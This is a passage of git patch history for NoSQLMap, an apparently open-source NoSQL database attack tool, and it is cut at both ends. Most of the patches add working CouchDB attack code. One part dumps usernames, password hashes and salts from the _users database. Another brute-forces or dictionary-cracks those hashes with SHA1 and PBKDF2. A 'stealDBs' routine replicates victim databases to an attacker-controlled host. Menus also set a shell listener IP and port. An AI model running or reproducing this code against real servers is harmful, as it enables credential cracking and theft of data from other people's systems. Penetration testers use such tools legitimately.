couchdb.Server(uri) print "CouchDB authenticated on " + target + ":5984!" mgtOpen = True @@ -94,7 +94,7 @@ def netAttacks(target,port, myIP): return elif needCreds[0] == 2: - couchdb.Server("http://" + str(target) + ":5984/") + conn = couchdb.Server("http://" + str(target) + ":5984/") print "Access check failure. Testing will continue but will be unreliable." mgtOpen = True From b42f48fc1e9ee3864008f0a7ce79ab37ba508f9c Mon Sep 17 00:00:00 2001 From: tcstool Date: Mon, 15 Sep 2014 14:10:51 -0500 Subject: [PATCH 086/207] Add Couch password cracker --- nosqlmap.py | 4 +- nsmcouch.py | 201 ++++++++++++++++++++++++++++++++++++++++++++++------ nsmmongo.py | 6 +- 3 files changed, 183 insertions(+), 28 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 3550997..d0d45a5 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -206,7 +206,7 @@ def options(): print "4-Toggle HTTPS (Current: " + str(https) + ")" print "5-Set " + platform + " Port (Current : " + str(dbPort) + ")" print "6-Set HTTP Request Method (GET/POST) (Current: " + httpMethod + ")" - print "7-Set my local Mongo/Shell IP (Current: " + str(myIP) + ")" + print "7-Set my local " + platform + "/Shell IP (Current: " + str(myIP) + ")" print "8-Set shell listener port (Current: " + str(myPort) + ")" print "9-Toggle Verbose Mode: (Current: " + str(verb) + ")" print "0-Load options file" @@ -308,7 +308,7 @@ def options(): goodLen = False goodDigits = False while optionSet[4] == False: - myIP = raw_input("Enter the host IP for my Mongo/Shells: ") + myIP = raw_input("Enter the host IP for my " + platform +"/Shells: ") #make sure we got a valid IP octets = myIP.split(".") #If there aren't 4 octets, toss an error. diff --git a/nsmcouch.py b/nsmcouch.py index c30fd4b..17b44e5 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -16,8 +16,17 @@ import couchdb -import urllib +import requests +import sys +import string +import itertools +from hashlib import sha1 + global dbList +global yes_tag +global no_tag +yes_tag = ['y', 'Y'] +no_tag = ['n', 'N'] def couchScan(target,port,pingIt): if pingIt == True: @@ -117,7 +126,7 @@ def netAttacks(target,port, myIP): while mgtSelect: print "\n" print "1-Get Server Version and Platform" - print "2-Enumerate Databases/Collections/Users" + print "2-Enumerate Databases/Users/Password Hashes" print "3-Check for Attachments" print "4-Clone a Database" print "5-Return to Main Menu" @@ -129,17 +138,13 @@ def netAttacks(target,port, myIP): if attack == "2": print "\n" - enumDbs(conn) + enumDbs(conn,target) if attack == "3": print "\n" enumGrid(conn) if attack == "4": - if optionSet[4] == False: - print "Target database not set!" - - else: print "\n" stealDBs(myIP,conn) @@ -149,37 +154,187 @@ def netAttacks(target,port, myIP): def getPlatInfo(couchConn, target): print "Server Info:" print "CouchDB Version: " + couchConn.version() - print "Configuration File:\n" - print urllib.urlopen("http://" + target + ":5984/_config").read() - print "\n" return -def enumDbs (couchConn): - global dbList +def enumDbs (couchConn,target): dbList = [] + userNames = [] + userHashes = [] + userSalts = [] try: for db in couchConn: dbList.append(db) + print "List of databases:" print "\n".join(dbList) print "\n" - return #debug except: print "Error: Couldn't list databases. The provided credentials may not have rights." - if '_users' in dbList(): - users = list(db.system.users.find()) - print "Database Users and Password Hashes:" + if '_users' in dbList: + r = requests.get("http://" + target + ":5984/_users/_all_docs?startkey=\"org.couchdb.user\"&include_docs=true") + userDict = r.json() + + for counter in range (0,int(userDict["total_rows"])-int(userDict["offset"])): + userNames.append(userDict["rows"][counter]["id"].split(":")[1]) + userHashes.append(userDict["rows"][counter]["doc"]["password_sha"]) + userSalts.append(userDict["rows"][counter]["doc"]["salt"]) + + print "Database Users and Password Hashes:" + + for x in range(0,len(userNames)): + print "Username: " + userNames[x] + print "Hash: " + userHashes[x] + print "Salt: "+ userSalts[x] + print "\n" + + crack = raw_input("Crack this hash (y/n)? ") + + if crack in yes_tag: + passCrack(userNames[x],userHashes[x],userSalts[x]) + + + return + +def stealDBs (myDB, couchConn): + dbLoot = True + menuItem = 1 + dbList = [] + + for db in couchConn: + dbList.append(db) + + if len(dbList) == 0: + print "Can't get a list of databases to steal. The provided credentials may not have rights." + return + + for dbName in dbList: + print str(menuItem) + "-" + dbName + menuItem += 1 + + while dbLoot: + dbLoot = raw_input("Select a database to steal:") + + if int(dbLoot) > menuItem: + print "Invalid selection." + + else: + break + + try: + print dbList[int(dbLoot)-1] #debug + print "http://" + myDB + ":5984/" + dbList[int(dbLoot)-1] + "_stolen" #debug + couchConn.replicate(dbList[int(dbLoot)-1],"http://" + myDB + ":5984/" + dbList[int(dbLoot)-1] + "_stolen") + + cloneAnother = raw_input("Database cloned. Copy another (y/n)? ") + + if cloneAnother in yes_tag: + stealDBs(myDB,couchConn) + + else: + return + + except Exception, e: + print e #Debug + raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return...") + return + +def passCrack (user, encPass, salt): + select = True + print "Select password cracking method: " + print "1-Dictionary Attack" + print "2-Brute Force" + print "3-Exit" + + while select: + select = raw_input("Selection: ") + + if select == "1": + select = False + dict_pass(encPass,salt) + + elif select == "2": + select = False + brute_pass(encPass,salt) + + elif select == "3": + return + return + +def genBrute(chars, maxLen): + return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1))) + +def brute_pass(hashVal,salt): + charSel = True + print "\n" + maxLen = raw_input("Enter the maximum password length to attempt: ") + print "1-Lower case letters" + print "2-Upper case letters" + print "3-Upper + lower case letters" + print "4-Numbers only" + print "5-Alphanumeric (upper and lower case)" + print "6-Alphanumeric + special characters" + charSel = raw_input("\nSelect character set to use:") + + if charSel == "1": + chainSet = string.ascii_lowercase + + elif charSel == "2": + chainSet= string.ascii_uppercase + + elif charSel == "3": + chainSet = string.ascii_letters + + elif charSel == "4": + chainSet = string.digits - for x in range (0,len(users)): - print "Username: " + users[x]['user'] - print "Hash: " + users[x]['pwd'] - print "\n" - crack = raw_input("Crack this hash (y/n)? ") + elif charSel == "5": + chainSet = string.ascii_letters + string.digits + + elif charSel == "6": + chainSet = string.ascii_letters + string.digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/" + + count = 0 + print "\n", + + for attempt in genBrute (chainSet,int(maxLen)): + print "\rCombinations tested: " + str(count) + "\r" + count += 1 + if sha1(attempt+salt).hexdigest() == hashVal: + print "Found - "+attempt + return + +def dict_pass(key,salt): + loadCheck = False + + while loadCheck == False: + dictionary = raw_input("Enter path to password dictionary: ") + + try: + with open (dictionary) as f: + passList = f.readlines() + loadCheck = True + + except: + print " Couldn't load file." + + print "Running dictionary attack..." + + for passGuess in passList: + temp = passGuess.split("\n")[0] + gotIt = gen_pass_couch(temp,salt,key) + + if gotIt == True: + break - if crack in yes_tag: - passCrack(users[x]['user'],users[x]['pwd']) return +def gen_pass_couch(passw, salt, hashVal): + if sha1(passw+salt).hexdigest() == hashVal: + print "Found - "+passw + return True + + else: + return False \ No newline at end of file diff --git a/nsmmongo.py b/nsmmongo.py index e1ae81b..053f64c 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -151,7 +151,7 @@ def stealDBs(myDB,victim,mongoConn): menuItem += 1 while dbLoot: - dbLoot = raw_input("Select a database to steal:") + dbLoot = raw_input("Select a database to steal: ") if int(dbLoot) > menuItem: print "Invalid selection." @@ -174,12 +174,12 @@ def stealDBs(myDB,victim,mongoConn): else: raw_input("Invalid Selection. Press enter to continue.") - stealDBs(myDB) + stealDBs(myDB,victim,mongoConn) cloneAnother = raw_input("Database cloned. Copy another (y/n)? ") if cloneAnother in yes_tag: - stealDBs(myDB) + stealDBs(myDB,victim,mongoConn) else: return From 9d22d6c19705321787820f838450f0672c03ff0f Mon Sep 17 00:00:00 2001 From: tcstool Date: Mon, 15 Sep 2014 15:07:41 -0500 Subject: [PATCH 087/207] Database Cloning Finished --- nsmcouch.py | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/nsmcouch.py b/nsmcouch.py index 17b44e5..e8f17d4 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -16,6 +16,7 @@ import couchdb +import urllib import requests import sys import string @@ -112,7 +113,7 @@ def netAttacks(target,port, myIP): return - mgtUrl = "http://" + target + ":5984/_utils" + mgtUrl = "http://" + target + ":5984/" #Future rev: Add web management interface parsing try: mgtRespCode = urllib.urlopen(mgtUrl).getcode() @@ -120,7 +121,7 @@ def netAttacks(target,port, myIP): print "Sofa web management open at " + mgtUrl + ". No authentication required!" except: - print "MongoDB web management closed or requires authentication." + print "Sofa web management closed or requires authentication." if mgtOpen == True: while mgtSelect: @@ -146,7 +147,7 @@ def netAttacks(target,port, myIP): if attack == "4": print "\n" - stealDBs(myIP,conn) + stealDBs(myIP,conn,target) if attack == "5": return @@ -198,7 +199,7 @@ def enumDbs (couchConn,target): return -def stealDBs (myDB, couchConn): +def stealDBs (myDB, couchConn, target): dbLoot = True menuItem = 1 dbList = [] @@ -224,8 +225,9 @@ def stealDBs (myDB, couchConn): break try: - print dbList[int(dbLoot)-1] #debug - print "http://" + myDB + ":5984/" + dbList[int(dbLoot)-1] + "_stolen" #debug + #Create the DB target first + myServer = couchdb.Server("http://" + myDB + ":5984") + targetDB = myServer.create(dbList[int(dbLoot)-1] + "_stolen") couchConn.replicate(dbList[int(dbLoot)-1],"http://" + myDB + ":5984/" + dbList[int(dbLoot)-1] + "_stolen") cloneAnother = raw_input("Database cloned. Copy another (y/n)? ") @@ -236,8 +238,7 @@ def stealDBs (myDB, couchConn): else: return - except Exception, e: - print e #Debug + except: raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return...") return From e80634ec0e3abb97932c9a3ea13dbd4817b17eb4 Mon Sep 17 00:00:00 2001 From: tcstool Date: Tue, 16 Sep 2014 17:11:05 -0500 Subject: [PATCH 088/207] Added post 1.2 password cracking --- nsmcouch.py | 49 ++++++++++++++++++++++++++++++++++++------------- 1 file changed, 36 insertions(+), 13 deletions(-) diff --git a/nsmcouch.py b/nsmcouch.py index e8f17d4..292611f 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -19,6 +19,9 @@ import urllib import requests import sys +import unittest +from pbkdf2 import PBKDF2 +from binascii import a2b_hex import string import itertools from hashlib import sha1 @@ -113,7 +116,7 @@ def netAttacks(target,port, myIP): return - mgtUrl = "http://" + target + ":5984/" + mgtUrl = "http://" + target + ":5984/_utils" #Future rev: Add web management interface parsing try: mgtRespCode = urllib.urlopen(mgtUrl).getcode() @@ -194,7 +197,7 @@ def enumDbs (couchConn,target): crack = raw_input("Crack this hash (y/n)? ") if crack in yes_tag: - passCrack(userNames[x],userHashes[x],userSalts[x]) + passCrack(userNames[x],userHashes[x],userSalts[x],couchConn.version()) return @@ -242,7 +245,7 @@ def stealDBs (myDB, couchConn, target): raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return...") return -def passCrack (user, encPass, salt): +def passCrack (user, encPass, salt, dbVer): select = True print "Select password cracking method: " print "1-Dictionary Attack" @@ -254,11 +257,11 @@ def passCrack (user, encPass, salt): if select == "1": select = False - dict_pass(encPass,salt) + dict_pass(encPass,salt,dbVer) elif select == "2": select = False - brute_pass(encPass,salt) + brute_pass(encPass,salt,dbVer) elif select == "3": return @@ -267,7 +270,7 @@ def passCrack (user, encPass, salt): def genBrute(chars, maxLen): return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1))) -def brute_pass(hashVal,salt): +def brute_pass(hashVal,salt,dbVer): charSel = True print "\n" maxLen = raw_input("Enter the maximum password length to attempt: ") @@ -303,11 +306,17 @@ def brute_pass(hashVal,salt): for attempt in genBrute (chainSet,int(maxLen)): print "\rCombinations tested: " + str(count) + "\r" count += 1 - if sha1(attempt+salt).hexdigest() == hashVal: - print "Found - "+attempt - return + + #CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use. + if float(dbVer[0:3]) < 1.3: + gotIt = gen_pass_couch(attempt,salt,hashVal) + else: + gotIt = gen_pass_couch13(attempt, salt, 10, hashVal) + + if gotIt == True: + break -def dict_pass(key,salt): +def dict_pass(key,salt,dbVer): loadCheck = False while loadCheck == False: @@ -325,8 +334,13 @@ def dict_pass(key,salt): for passGuess in passList: temp = passGuess.split("\n")[0] - gotIt = gen_pass_couch(temp,salt,key) + #CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use. + if float(dbVer[0:3]) < 1.3: + gotIt = gen_pass_couch(temp,salt,key) + else: + gotIt = gen_pass_couch13(temp, salt, 10, key) + if gotIt == True: break @@ -334,8 +348,17 @@ def dict_pass(key,salt): def gen_pass_couch(passw, salt, hashVal): if sha1(passw+salt).hexdigest() == hashVal: - print "Found - "+passw + print "Password Cracked - "+passw return True else: - return False \ No newline at end of file + return False + +def gen_pass_couch13(passw, salt, iterations, hashVal): + result=PBKDF2(passw,salt,iterations).read(20) + expected=a2b_hex(hashVal) + if result==expected: + print "Password Cracked- "+passw + return True + else: + return False \ No newline at end of file From b2c9e2216d947b76344e329a5e7a4a7049d88ed5 Mon Sep 17 00:00:00 2001 From: tcstool Date: Tue, 16 Sep 2014 18:36:48 -0500 Subject: [PATCH 089/207] Key name change --- nsmcouch.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/nsmcouch.py b/nsmcouch.py index 292611f..70d1ea0 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -182,9 +182,15 @@ def enumDbs (couchConn,target): userDict = r.json() for counter in range (0,int(userDict["total_rows"])-int(userDict["offset"])): - userNames.append(userDict["rows"][counter]["id"].split(":")[1]) - userHashes.append(userDict["rows"][counter]["doc"]["password_sha"]) - userSalts.append(userDict["rows"][counter]["doc"]["salt"]) + if float(couchConn.version()[0:3]) < 1.3: + userNames.append(userDict["rows"][counter]["id"].split(":")[1]) + userHashes.append(userDict["rows"][counter]["doc"]["password_sha"]) + userSalts.append(userDict["rows"][counter]["doc"]["salt"]) + + else: + userNames.append(userDict["rows"][counter]["id"].split(":")[1]) + userHashes.append(userDict["rows"][counter]["doc"]["derived_key"]) + userSalts.append(userDict["rows"][counter]["doc"]["salt"]) print "Database Users and Password Hashes:" From e920886030bfaa273f3a7be65c450446913a869d Mon Sep 17 00:00:00 2001 From: tcstool Date: Thu, 18 Sep 2014 17:58:15 -0500 Subject: [PATCH 090/207] Fix setup.sh and remove dependencies --- nosqlmap.py | 3 --- setup.sh | 59 ++++++++++++++++++++++++++++++++--------------------- 2 files changed, 36 insertions(+), 26 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index d0d45a5..6c0e252 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -31,9 +31,6 @@ import datetime import itertools import re -from hashlib import md5 -from threading import Thread - def main(): signal.signal(signal.SIGINT, signal_handler) diff --git a/setup.sh b/setup.sh index 5d9e41b..4e90098 100755 --- a/setup.sh +++ b/setup.sh @@ -28,6 +28,11 @@ if [ "$doIt" = "y" ] || [ "$doIt" = "Y" ]; then echo "Debian-ish OS detected. using apt-get to install pip." apt-get --force-yes install python-pip pip install pymongo + pip install couchdb + pip install requests + pip install unittest + pip install pbkdf2 + pip install binascii pip install gridfs pip install ipcalc pip install hashlib @@ -36,7 +41,6 @@ if [ "$doIt" = "y" ] || [ "$doIt" = "Y" ]; then pip install urllib pip install itertools pip install re - pip install threading pip install ast echo "All done. Check output for errors. Have fun!" @@ -51,17 +55,21 @@ if [ "$doIt" = "y" ] || [ "$doIt" = "Y" ]; then wget http://mirror-fpt-telecom.fpt.net/fedora/epel/6/i386/epel-release-6-8.noarch.rpm rpm -ivh epel-release-6-8.noarch.rpm yum -y install python-pip - pip install pymongo - pip install gridfs - pip install ipcalc - pip install hashlib - pip install json - pip install httplib2 - pip install urllib - pip install itertools - pip install re - pip install threading - pip install ast + pip install pymongo + pip install couchdb + pip install requests + pip install unittest + pip install pbkdf2 + pip install binascii + pip install gridfs + pip install ipcalc + pip install hashlib + pip install json + pip install httplib2 + pip install urllib + pip install itertools + pip install re + pip install ast echo "All done. Check output for errors. Have fun!" @@ -73,17 +81,22 @@ if [ "$doIt" = "y" ] || [ "$doIt" = "Y" ]; then wget http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm rpm -ivh epel-release-5-4.noarch.rpm yum -y install python-pip - pip install pymongo - pip install gridfs - pip install ipcalc - pip install hashlib - pip install json - pip install httplib2 - pip install urllib - pip install itertools - pip install re - pip install threading - pip install ast + pip install pymongo + pip install pymongo + pip install couchdb + pip install requests + pip install unittest + pip install pbkdf2 + pip install binascii + pip install gridfs + pip install ipcalc + pip install hashlib + pip install json + pip install httplib2 + pip install urllib + pip install itertools + pip install re + pip install ast echo "All done. Check output for errors. Have fun!" From 5747daf9a8344507254a335d6d35c8c6a97b047e Mon Sep 17 00:00:00 2001 From: tcstool Date: Sun, 21 Sep 2014 19:25:55 -0500 Subject: [PATCH 091/207] Fix hard coded ports for CouchDB --- nsmcouch.py | 45 +++++++++++++++++++++++++++++---------------- 1 file changed, 29 insertions(+), 16 deletions(-) diff --git a/nsmcouch.py b/nsmcouch.py index 70d1ea0..08fe604 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -38,7 +38,7 @@ def couchScan(target,port,pingIt): if test == 0: try: - conn = couchdb.Server("http://" + str(target) + ":5984/", timeout=4000) + conn = couchdb.Server("http://" + str(target) + ":" + str(port) + "/") try: dbVer = conn.version() @@ -58,7 +58,7 @@ def couchScan(target,port,pingIt): else: try: - conn = couchdb.Server("http://" + str(target) + ":5984/") + conn = couchdb.Server("http://" + str(target) + ":" + str(port) +"/") try: dbVer = conn.version() @@ -87,7 +87,7 @@ def netAttacks(target,port, myIP): needCreds = couchScan(target,port,False) if needCreds[0] == 0: - conn = couchdb.Server("http://" + str(target) + ":5984/") + conn = couchdb.Server("http://" + str(target) + ":" + str(port) + "/") print "Successful access with no credentials!" mgtOpen = True @@ -95,11 +95,11 @@ def netAttacks(target,port, myIP): print "Login required!" srvUser = raw_input("Enter server username: ") srvPass = raw_input("Enter server password: ") - uri = "http://" + srvUser + ":" + srvPass + "@" + target + ":5984/" + uri = "http://" + srvUser + ":" + srvPass + "@" + target + ":" + str(port) + "/" try: conn = couchdb.Server(uri) - print "CouchDB authenticated on " + target + ":5984!" + print "CouchDB authenticated on " + target + ":" + str(port) mgtOpen = True except: @@ -107,16 +107,16 @@ def netAttacks(target,port, myIP): return elif needCreds[0] == 2: - conn = couchdb.Server("http://" + str(target) + ":5984/") + conn = couchdb.Server("http://" + str(target) + ":" + str(port) + "/") print "Access check failure. Testing will continue but will be unreliable." mgtOpen = True elif needCreds[0] == 3: - print "Couldn't connect to CouchDB server." + raw_input ("Couldn't connect to CouchDB server. Press enter to return to the main menu.") return - mgtUrl = "http://" + target + ":5984/_utils" + mgtUrl = "http://" + target + ":" + str(port) + "/_utils" #Future rev: Add web management interface parsing try: mgtRespCode = urllib.urlopen(mgtUrl).getcode() @@ -131,7 +131,7 @@ def netAttacks(target,port, myIP): print "\n" print "1-Get Server Version and Platform" print "2-Enumerate Databases/Users/Password Hashes" - print "3-Check for Attachments" + print "3-Check for Attachments (still under development)" print "4-Clone a Database" print "5-Return to Main Menu" attack = raw_input("Select an attack: ") @@ -142,15 +142,15 @@ def netAttacks(target,port, myIP): if attack == "2": print "\n" - enumDbs(conn,target) + enumDbs(conn,target,port) if attack == "3": print "\n" - enumGrid(conn) + enumAtt(conn,target,port) if attack == "4": print "\n" - stealDBs(myIP,conn,target) + stealDBs(myIP,conn,target,port) if attack == "5": return @@ -159,8 +159,21 @@ def getPlatInfo(couchConn, target): print "Server Info:" print "CouchDB Version: " + couchConn.version() return + +def enumAtt(conn,target): + dbList = [] + print "Enumerating all attachments..." + + for db in conn: + dbList.append(db) + + for dbName in dbList: + r = requests.get("http://" + target + ":" + str(port) + "/" + dbName + "/_all_docs" ) + dbDict = r.json() + -def enumDbs (couchConn,target): + +def enumDbs (couchConn,target,port): dbList = [] userNames = [] userHashes = [] @@ -178,7 +191,7 @@ def enumDbs (couchConn,target): print "Error: Couldn't list databases. The provided credentials may not have rights." if '_users' in dbList: - r = requests.get("http://" + target + ":5984/_users/_all_docs?startkey=\"org.couchdb.user\"&include_docs=true") + r = requests.get("http://" + target + ":" + str(port) + "/_users/_all_docs?startkey=\"org.couchdb.user\"&include_docs=true") userDict = r.json() for counter in range (0,int(userDict["total_rows"])-int(userDict["offset"])): @@ -208,7 +221,7 @@ def enumDbs (couchConn,target): return -def stealDBs (myDB, couchConn, target): +def stealDBs (myDB,couchConn,target,port): dbLoot = True menuItem = 1 dbList = [] @@ -242,7 +255,7 @@ def stealDBs (myDB, couchConn, target): cloneAnother = raw_input("Database cloned. Copy another (y/n)? ") if cloneAnother in yes_tag: - stealDBs(myDB,couchConn) + stealDBs(myDB,couchConn,target,port) else: return From 57d3f44ad3fc3fd7fcb3b73b54f083f75e06c2b8 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sat, 27 Sep 2014 11:41:38 -0500 Subject: [PATCH 092/207] Label Updates --- nosqlmap.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 6c0e252..d77ef3c 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -77,7 +77,7 @@ def mainMenu(): print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |" print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/" print "====================================================" - print "NoSQLMap-v0.5-DEV" + print "NoSQLMap-v0.5" print "nosqlmap@gmail.com" print "\n" print "1-Set options" @@ -536,7 +536,7 @@ def postApps(): print "Testing Mongo PHP not equals associative array injection using " + str(postData) +"..." else: - print "Test 1: PHP associative array injection" + print "Test 1: PHP/ExpressJS != associative array injection" errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) @@ -871,7 +871,7 @@ def getApps(): if verb == "ON": print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..." else: - print "Test 1: PHP associative array injection" + print "Test 1: PHP/ExpressJS != associative array injection" #Test for errors returned by injection errorCheck = errorTest(str(urllib.urlopen(uriArray[1]).read()),testNum) From 971569b36a0caa27f4f05dd8f18ac4b4862266c6 Mon Sep 17 00:00:00 2001 From: Qwokka Date: Mon, 10 Nov 2014 11:25:14 -0800 Subject: [PATCH 093/207] Fix spelling error Changed "apped" to "append" --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index d77ef3c..d960ff2 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1115,7 +1115,7 @@ def errorTest (errorCheck,testNum): return True elif testNum == 2: - possAddrs.apped(str(gtDict)) + possAddrs.append(str(gtDict)) return True else: From 23e1f97c3096b23c495e600b290ea4390fca336f Mon Sep 17 00:00:00 2001 From: Akash Shende Date: Fri, 21 Nov 2014 10:32:37 +0530 Subject: [PATCH 094/207] fixed typos --- nosqlmap.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index d960ff2..dfecee1 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1119,7 +1119,7 @@ def errorTest (errorCheck,testNum): return True else: - possAddrs.appends(str(postData)) + possAddrs.append(str(postData)) return True else: return False @@ -1151,7 +1151,7 @@ def checkResult(baseSize,respSize,testNum): vulnAddrs.append(str(neDict)) elif testNum == 2: - vulnAddrs.apped(str(gtDict)) + vulnAddrs.append(str(gtDict)) else: vulnAddrs.append(str(postData)) @@ -1192,7 +1192,7 @@ def checkResult(baseSize,respSize,testNum): else: print "Possible injection." if httpMethod == "GET": - possAddrs.appends(uriArray[testNum]) + possAddrs.append(uriArray[testNum]) else: if testNum == 1: possAddrs.append(str(neDict)) From da23cbb97e54eb513f232eacddc4162319bb95e5 Mon Sep 17 00:00:00 2001 From: Akash Date: Mon, 22 Dec 2014 10:42:49 +0530 Subject: [PATCH 095/207] Stripped off trailing whitespaces. --- nosqlmap.py | 606 ++++++++++++++++++++++++++-------------------------- nsmcouch.py | 100 ++++----- nsmmongo.py | 142 ++++++------ 3 files changed, 424 insertions(+), 424 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index dfecee1..0c0aefe 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -36,7 +36,7 @@ def main(): signal.signal(signal.SIGINT, signal_handler) global optionSet #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. - optionSet = [False,False,False,False,False,False,False,False,False] + optionSet = [False]*9 global yes_tag global no_tag yes_tag = ['y', 'Y'] @@ -58,14 +58,14 @@ def main(): myIP = "Not Set" myPort = "Not Set" mainMenu() - + def mainMenu(): global platform global victim global dbPort global myIP global myPort - + mmSelect = True while mmSelect: os.system('clear') @@ -96,37 +96,37 @@ def mainMenu(): if optionSet[0] == True: if platform == "MongoDB": nsmmongo.netAttacks(victim, dbPort, myIP, myPort) - + elif platform == "CouchDB": nsmcouch.netAttacks(victim, dbPort, myIP) - + #Check minimum required options else: raw_input("Target not set! Check options. Press enter to continue...") - - + + elif select == "3": #Check minimum required options - if (optionSet[0] == True) and (optionSet[2] == True): + if (optionSet[0] == True) and (optionSet[2] == True): if httpMethod == "GET": getApps() - + else: postApps() - + else: raw_input("Options not set! Check host and URI path. Press enter to continue...") - - + + elif select == "4": massScan() - + elif select == "5": platSel() elif select == "x": sys.exit() - + else: raw_input("Invalid selection. Press enter to continue.") @@ -144,7 +144,7 @@ def platSel(): platform = "MongoDB" dbPort = 27017 return - + elif pSel == "2": platform = "CouchDB" dbPort = 5984 @@ -166,7 +166,7 @@ def options(): global verb global mmSelect global dbPort - + #Set default value if needed if optionSet[0] == False: global victim @@ -193,12 +193,12 @@ def options(): if optionSet[8] == False: https = "OFF" optSelect = True - - while optSelect: + + while optSelect: print "\n\n" print "Options" print "1-Set target host/IP (Current: " + str(victim) + ")" - print "2-Set web app port (Current: " + str(webPort) + ")" + print "2-Set web app port (Current: " + str(webPort) + ")" print "3-Set App Path (Current: " + str(uri) + ")" print "4-Toggle HTTPS (Current: " + str(https) + ")" print "5-Set " + platform + " Port (Current : " + str(dbPort) + ")" @@ -212,41 +212,41 @@ def options(): print "x-Back to main menu" select = raw_input("Select an option: ") - + if select == "1": #Unset the boolean if it's set since we're setting it again. optionSet[0] = False ipLen = False - + while optionSet[0] == False: goodDigits = True notDNS = True victim = raw_input("Enter the host IP/DNS name: ") #make sure we got a valid IP octets = victim.split(".") - + if len(octets) != 4: #Treat this as a DNS name optionSet[0] = True notDNS = False - + #If the format of the IP is good, check and make sure the octets are all within acceptable ranges. for item in octets: try: if int(item) < 0 or int(item) > 255: print "Bad octet in IP address." goodDigits = False - + except: #Must be a DNS name (for now) - + notDNS = False - + #If everything checks out set the IP and break the loop if goodDigits == True or notDNS == False: print "\nTarget set to " + victim + "\n" optionSet[0] = True - + elif select == "2": webPort = raw_input("Enter the HTTP port for web apps: ") print "\nHTTP port set to " + webPort + "\n" @@ -256,19 +256,19 @@ def options(): uri = raw_input("Enter URI Path (Press enter for no URI): ") print "\nURI Path set to " + uri + "\n" optionSet[2] = True - + elif select == "4": if https == "OFF": print "HTTPS enabled." https = "ON" optionSet[8] = True - + elif https == "ON": print "HTTPS disabled." https = "OFF" optionSet[8] = True - - + + elif select == "5": dbPort = int(raw_input("Enter target MongoDB port: ")) print "\nTarget Mongo Port set to " + str(dbPort) + "\n" @@ -281,7 +281,7 @@ def options(): print "1-Send request as a GET" print "2-Send request as a POST" httpMethod = raw_input("Select an option: ") - + if httpMethod == "1": httpMethod = "GET" print "GET request set" @@ -311,42 +311,42 @@ def options(): #If there aren't 4 octets, toss an error. if len(octets) != 4: print "Invalid IP length." - + else: goodLen = True - - if goodLen == True: + + if goodLen == True: #If the format of the IP is good, check and make sure the octets are all within acceptable ranges. for item in octets: if int(item) < 0 or int(item) > 255: print "Bad octet in IP address." goodDigits = False - + else: goodDigits = True - - + + #If everything checks out set the IP and break the loop if goodLen == True and goodDigits == True: print "\nShell/DB listener set to " + myIP + "\n" optionSet[4] = True - + elif select == "8": myPort = raw_input("Enter TCP listener for shells: ") print "Shell TCP listener set to " + myPort + "\n" optionSet[5] = True - + elif select == "9": if verb == "OFF": print "Verbose output enabled." verb = "ON" optionSet[6] = True - + elif verb == "ON": print "Verbose output disabled." verb = "OFF" optionSet[6] = True - + elif select == "0": loadPath = raw_input("Enter file name to load: ") try: @@ -360,10 +360,10 @@ def options(): httpMethod = optList[3] myIP = optList[4] myPort = optList[5] - + if httpMethod == "POST": postData = ast.literal_eval(csvOpt[1]) - + #Set option checking array based on what was loaded x = 0 for item in optList: @@ -372,14 +372,14 @@ def options(): x += 1 except: print "Couldn't load options file!" - + elif select == "a": loadPath = raw_input("Enter path to Burp request file: ") try: fo = open(loadPath,"r") reqData = fo.readlines() - + except: raw_input("error reading file. Press enter to continue...") return @@ -388,7 +388,7 @@ def options(): if methodPath[0] == "GET": httpMethod = "GET" - + elif methodPath[0] == "POST": paramNames = [] paramValues = [] @@ -396,28 +396,28 @@ def options(): postData = reqData[len(reqData)-1] #split the POST parameters up into individual items paramsNvalues = postData.split("&") - + for item in paramsNvalues: tempList = item.split("=") paramNames.append(tempList[0]) paramValues.append(tempList[1]) - + postData = dict(zip(paramNames,paramValues)) - + else: print "unsupported method in request header." - + victim = reqData[1].split( " ")[1].replace("\r\n","") optionSet[0] = True uri = methodPath[1].replace("\r\n","") - optionSet[2] = True - + optionSet[2] = True + elif select == "b": savePath = raw_input("Enter file name to save: ") try: fo = open(savePath, "wb") fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort)) - + if httpMethod == 